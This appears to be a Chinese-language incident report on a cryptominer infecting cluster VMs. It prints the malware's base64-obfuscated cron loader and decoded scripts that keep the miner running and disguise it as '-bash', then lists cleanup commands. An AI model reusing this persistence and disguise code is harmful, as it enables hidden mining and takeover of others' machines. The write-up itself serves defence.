一、现象：
平台集群中的虚拟机，存在异常进程“ld-linux-x86-64”，占用了大量cpu资源。其次，重启虚拟机之后，虚拟机的操作系统ROOT用户密码会被修改，初步判断原因为被黑客攻击。
二、探索：
安装杀毒软件clamav
|
1040 yum install clamd -y 1043 freshclam 1049 service clamd start 1052 chkconfig clamd on 1053 clamdscan -V 1054 clamscan -r / --move=/tmp 附clamscan命令参数说明： 1、 全盘扫描：# clamscan -r / 2、 扫描到病毒后立即删除（慎用）：# clamscan -r / --remove 3、 扫描到病毒后立即移动到/tmp目录：# clamscan -r / --move=/tmp 4、 生成扫描日志文件：# clamscan/tmp/1.txt -l /var/log/clamscan.log 5、 常用选项： （1） --quiet：只打印错误信息 （2） -i | --infected：只打印被感染的文件 （3） --remove[=yes/no(*)]：移除被感染的文件 （4） --move=DIRECTORY：将被感染的文件移至指定目录 （5） --copy=DIRECTORY：将被感染的文件复制至指定目录 （6） --exclude=REGEX：不扫描与正则表达式匹配的文件 （7） --exclude-dir=REGEX：不扫描与正则表达式匹配的目录 （8） --include=REGEX：只扫描与正则表达式匹配的文件 （9） --include-dir=REGEX：只扫描与正则表达式匹配的目录 |
-----------扫描摘要-----------
已知病毒：6778248
发动机版本：0.100.2
扫描目录：24595
扫描文件：136784
受感染的文件：3
总错误：6043
扫描数据：8724.49 MB
数据读取：8392.82 MB（比率1.04：1
---------------------------------
删除感染文件之后，问题依然在，暂时排除病毒的可能。
三、突破：
由于问题进程杀了又起来，换言之“杀不死”，那么一定有程序在监控并拉起它。最简单的实现方式就是利用Linux系统的“crontab”了。Crontab定时器通常用来执行定时任务或周期性任务，使用起来简单方便。于是随手检查了一下定时任务列表，终端键入命令“crontab -l”，发现：
* * * * * /sbin/upd >/dev/null 2>&1
意思是：/sbin/upd脚本每分钟执行一次，执行的返回内容不输出到控制台。
脚本内容是：
|
#!/usr/bin/env bash echo 'IyEvYmluL3NoCmlmIHRlc3QgLXIgL3NiaW4vaW5pdGN0MTsgdGhlbgpwaWQ9JChjYXQgL3NiaW4v aW5pdGN0MSkKaWYgJChraWxsIC1DSExEICRwaWQgPi9kZXYvbnVsbCAyPiYxKQp0aGVuCnNsZWVw IDEKZWxzZQpjZCAvc2JpbgouL21rZTNmcyAmPi9kZXYvbnVsbApleGl0IDAKZmkKZmkK' | base64 -di | sh |
显然，这是一个加密了的脚本，根据后面的“bash64 -di”
意思应该是用bash64编码方式解码，再后面的“sh”，意思是执行 解码后的内容。
清理相关文件：
1.清除定时器中的定时任务
2.杀掉异常进程
3.删掉分析出的所有涉及脚本及可执行文件
rm -rf /sbin/upd
rm -rf /sbin/initct1
rm -rf /sbin/mke3fs
rm -rf /sbin/s1n
rm -rf /sbin/ld-linux-x86-64.so.2
rm -rf /sbin/libpthread.so.1
4.修改root用户密码
四、分析：
涉及的脚本
1）/sbin/upd
脚本原文
#!/usr/bin/env bash
echo 'IyEvYmluL3NoCmlmIHRlc3QgLXIgL3NiaW4vaW5pdGN0MTsgdGhlbgpwaWQ9JChjYXQgL3NiaW4v
aW5pdGN0MSkKaWYgJChraWxsIC1DSExEICRwaWQgPi9kZXYvbnVsbCAyPiYxKQp0aGVuCnNsZWVw
IDEKZWxzZQpjZCAvc2JpbgouL21rZTNmcyAmPi9kZXYvbnVsbApleGl0IDAKZmkKZmkK' | base64 -di | sh
脚本解码后的真实内容
#!/bin/sh
if test -r /sbin/initct1; then
pid=$(cat /sbin/initct1)
if $(kill -CHLD $pid >/dev/null 2>&1)
then
sleep 1
else
cd /sbin
./mke3fs &>/dev/null
exit 0
fi
fi
功能：
进程守护
2）/sbin/upd
脚本原文
#!/usr/bin/env bash
echo 'IyEvYmluL2Jhc2gKLi9zMW4gLXMgIi1iYXNoIiAtcCBpbml0Y3QxIC4vbGQtbGludXgteDg2LTY0
LnNvLjIgLS1saWJyYXJ5LXBhdGggLiAuL2xpYnB0aHJlYWQuc28uMSA+Pi9kZXYvbnVsbCAmCg==' | base64 -di | sh
脚本解码后的真实内容
#!/bin/bash
./s1n -s "-bash" -p initct1 ./ld-linux-x86-64.so.2 --library-path . ./libpthread.so.1 >>/dev/null &
功能：
实现主功能（挖矿以及其他不可说的任务）
3）/sbin/initct1
功能：用来存放 进程ID。
可执行文件
|
/sbin/s1n |
|
/sbin/ld-linux-x86-64.so.2 |
|
/sbin/libpthread.so.1 |